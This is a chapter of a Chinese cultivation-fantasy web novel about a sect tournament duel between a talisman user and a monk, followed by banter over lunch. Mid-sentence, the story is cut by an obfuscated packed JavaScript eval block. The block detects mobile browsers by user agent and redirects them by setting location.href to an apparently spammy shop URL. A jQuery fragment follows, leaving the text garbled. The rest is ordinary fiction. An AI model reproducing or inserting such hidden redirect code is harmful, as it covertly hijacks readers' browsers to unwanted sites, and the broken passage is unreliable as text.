49. 小桃比武中
作品:《神经侠侣》 如果说穿越到这个虚幻是世界是左吕二人人生中最戏剧性的一件事,那这场比武大会可以称得上第二。
此刻乘圣演武场之上,与赵璟然而立的枕霞山首徒,竟又是二人早便见过之人——那年轸星间,那个与文心乐师对峙红脸的英气女子,原来她叫牧缓仪,是个木灵根体修。
抽签排位之时,吕放桃只离她几步远,正如七年前,她们也只有这几步距离。
区别是只第一眼,吕放桃便认出她来,纵使在台下,左游也清晰瞧见吕放桃神情中那点讶然;而牧缓仪理所当然认为,这是她第一次见这个青栖道宗的后辈。
不过也是人之常情,谁又会特意去记饭店的服务员长什么样呢,只是这个枕霞山爆出熟人的几率是不是有点太高了,谁把爆率暗改了!
牧缓仪还是从赵璟然手中败下阵来,左游却也没想到,初见那位脾气火爆,爱强出头的侠士,也懂过刚易折之理吗?
“单纯打不过好吧,这太子都快到元婴了。”吕放桃无语道,“谁能打过这种集天下法宝于一体,灵丹妙药要多少就有多少的人。”
“良鹄说不定可以,真正的天赋型选手,我看好他。”左游纯粹添乱道。
随着鼓槌落下,首日比试在左游无聊的玩笑话中落幕。
翌日清晨,晨钟破晓。
第二场,是吕放桃对战悟惑寺禄怀师傅。
是了,悟惑寺首徒也换了人,对面那人同吕放桃一样,也是个符修,左游忆起吕放桃昨日定下的战略。
“第一局不能用全力,至少绝对不能使出命运之轮。”吕放桃严肃道,“首先我的确打不过他,适当节省一下体力也是必需的,其次,一定要避免沈骓看到它想出反制手段的可能性。”
“二师兄,”百般无赖坐在他身边的黎卿突然开口,打断左游思绪,“您和那位吕师姐当真是道侣吗?”
“是啊。”
“总感觉不太真实啊,她可是我们宗门首徒,怎么就看上师兄你了?”
“因为她有一双发现美的眼睛。”左游对这看轻倒是丝毫不恼,心平气和道。
“您就胡扯吧,依我看,就是这宗门之中男人太多,够得上眼的又太少,才被您钻了空去。”黎卿指指点点道,“我出了宗门才知,外面的空气都是香的,宗门里却是臭的。”
“可不是臭的吗,”左游好笑道,“不是猫屎便是马粪的。”
“您什么意……”
黎卿话到一半,左游便比了个噤声手势,她下意识闭嘴,只听左游道:“他们开打了,专心看。”
符修的战争,便是动嘴皮子和纸片子的战争。
吕放桃一贯是不爱甩一大堆冗杂符箓出去的,她只是淡淡召出小兆,以不变应万变。
对面那人则低低念了一串佛语,复而祭出一张符纸。
下一秒,竟似天劫将至,一道极粗无比的亮紫电光直直朝小兆劈去。
既知躲避不能,吕放桃干脆让他将那个红袍金冠人影劈散了去,毕竟万象符还有很多,硬抗完全是蠢货的习惯。
她又召出一个与先前如出一辙的小兆,而四下雷电更盛,一招招一式式,不仅仅冲小兆而去,更有几道直向她本人打来。
观众席上左游却比选手还激动上半分,遏不住心中吐槽之情:“什么意思啊,雷劫也要先出个模拟卷做做吗?”
台下吕放桃则是心知肚明勾唇一笑,这和尚分明是要引她本人用灵力去挡,好消耗她更多灵力。
吕放桃并不打算如他愿,她双脚踮地,运起轻功绕场逃窜。
台下众人只当她暂时不想正面迎战,只有左游知道,吕放桃是在四下布阵,正是她当年给他看的宝剑阵法。
以如今吕放桃的功力,驾驭四张符纸十把剑已手到擒来。待她将那四面画上无形咒符,一直随行避雷的小兆被一道滚雷劈散,吕放桃亦随即轻轻施诀:“风火八动,流铃交焕。”
十道不曾意料的剑光轰然而至,每一把宝剑都在划出不合常理的弧线,直逼禄怀而去。
吕放桃没学过青栖剑法是对的,只有她这般肆意未经雕琢的胡乱比划,才能叫对面那样身经百战的大师招架不住。
禄怀果然看不出吕放桃剑法破绽,只好原地使出罗汉金身,叫那宝剑穿不过其肉身。
可阵法发动便无需耗太多灵力,纵使你禄怀已有金丹加身,可你这金身又能撑得到何时?
左游心生一个狂放的念头,吕放桃说不定当真可以胜过眼前这和尚。
谁知下一秒那和尚竟双手合十,自顾自又低头颂起佛经来。
虽不知其作用,其实若吕放桃此时能进去打断他施法,便是最好的办法,偏偏这阵法会攻击内部一切外来者,无论有生命与否。
但无论如何,一人在外踟蹰不前,一人在内闭眼诵经,这场面的观赏性,实在差了些。
黎卿已经开始抠手指了!
左游运起灵识,妄图听清禄怀所念,却听其语言并非中原官话,而是诸如“那谟娑哆梨耶”云云,竟是梵文。
听不懂更是惹人恐慌,连左游也如此想,吕放桃更是不能坐以待毙,掏出张简单的炸雷符朝他扔去。
那符咒自然是一记暴击,禄怀硬生生受了,可下一秒吕放桃的剑阵也随之碎裂开来,原本隐于空气之中的符纸竟显现出来,又被一道火光燃烧殆尽了。
左游这才反应过来,原是破阵之术,无怪乎他先前如此淡定,金丹修士要破筑基修士的阵,的确不是难事。
禄怀站定,口中默念“阿弥陀佛”,杀阵,一丝不留被解开了。
正当台下众人齐齐倒吸一口凉气,以为吕放桃此时倚仗尽失,就要投降之际,她又抬起右手,在空中随意一滑,小兆又似一切皆未发生过一般,生龙活虎,傲气十足地举剑面向对面。
“大师,”吕放桃也行一佛礼,朗声道,“晚辈已知不是大师对手,能否再切磋一二?”
此言一出,四下寂静,似乎是没想到这神展开。左游却独自拍手叫好,从来坦坦荡荡利用一切可利用的机会,实在豪迈到叫人移不开眼。
“您有点太过激动了吧。”黎卿淡淡道。
“小黎啊,下次要说不太礼貌的话的时候,就不要用‘您’了。”左游抽了抽嘴角。
此刻对面看台之上,一个枕霞弟子径直离去,衣袂飘飘,似是不愿再看台上一眼之态。
左游定睛一看,果真是元不疑不错,明明已经过了七年,明明你早已改头换面,却还是怨我们恨我们两个萍水相逢之人吗?
他不再去多想,只看台上台上禄怀也欣然应允,道:“施主用的既是万象符,那贫僧便也奉陪。”
语罢,小兆面前浮出一莲台,其上赫然立着的竟是观音大士。
这不是在等级上先矮对面一头吗,早知如此,吕放桃当初就该把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030378|192827||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小兆形象设成教皇。
观音同小兆不咸不淡过了几招,众人仍能看出吕布桃剑法杂乱无章,但奈何天姿实在聪颖,乱劈乱砍之下却大部分都落在实处。
最后是吕放桃率先撤了符咒,大声宣告认输,下台时还神色自若同禄怀大师多聊了几句。
忍了又忍,左游还是惦记着吕放桃所说联结只是,心里老大不是个滋味,在吃午饭是险些被白米饭呛到时,他还是遵从本心,问出了口:“你前面下台的时候,跟那个和尚在说什么啊?”
“没什么,”吕放桃随意道,“他说我咒术熟练,但心思过于浮躁,三火未消,叫我有机会去他们寺里求签,他可以帮我诵经开光。”
“这不是推销吗?”左游目瞪口呆。
“和尚也是要吃饭的嘛,不能纯靠化缘吧。”
“悟惑寺可是锦朝第一庙,每年香火钱都不知道有多少,说他们要吃饭也太卑鄙了。”
虽为寺庙,悟惑寺却是六大派中最接近世俗红尘的门派,也是唯一收没有灵力弟子的门派,无论内门弟子外门弟子,都会在大殿礼佛接待香客。所谓大隐隐于市,不外乎此。
“那说你三火未消又是怎么个事?”左游又问。
“这不是很正常吗,因为我不是尼姑。”吕放桃仍淡定道,“郁可唯的路过人间没有听过吗,相遇离别,贪嗔爱痴怨,正常人就有啊。”
“那你怎么回的他,看你这样是婉拒了?”
“那当然不可能,难得遇到一个也爱用万象符的人,我之后还要再找他讨教讨教呢。”
“行吧,快吃饭吧。”
“现在还有个问题呢,”吕放桃却又道,“如果我赢不了禄怀,那我跟良鹄就不可能对上,他肯定不会输给沈骓吧,那我跟他又有什么联结呢?”
“这我是真不知道了。”左游本也不愿意多谈论这个话题,敷衍了过去。
明知良鹄那愣头青模样恐怕也不会对情情爱爱一道有任何想法,偏偏他却似个呆子似的把自己塞进醋坛子里跑不出来,左游万分看不起这样的自己。
恰逢此时,黎卿忽然端着餐盘跑来,坐在这四方桌的第三角,道:“可以跟两位前辈一道坐吗?”
“当然可以啦。”吕放桃笑眯眯道,“师妹,你喜欢卦算一道吗?”
又来了,零帧起手谁能躲,看见一个人就要给别人占卜一下,这习惯也是没完了。
这下左游自我厌弃也停了,又一下切入最熟悉的吐槽时刻。
“我不太清楚,师姐会些什么?”
“什么都可以,姻缘、前程、运势,应有尽有。”
事实证明回旋镖总是来得很快的,正如左游前面还说禄怀推销,这会儿吕放桃便也自我推销到忘乎所以了。
“可以算前程吗?”
“当然,等会吃完饭,我们可以找个凉快地方坐一坐,我替你慢慢算。”
“不睡午觉了吗?”左游插嘴道。
“新时代好青年怎么可以在这种时刻睡午觉。”吕放桃莫名燃了起来,先前比武时也不见她这般热血沸腾,“你自己去睡觉吧,我还要完成我未尽的事业。”
又变成中二病了。
黎卿也道:“师兄,我们女子之间的事,您就不要凑过来了。”
谁凑过来了,他从头到脚只说了六个字啊,如果惜字如金是一种财富,那左游凭刚才的表现,值得一笔飞来横财。

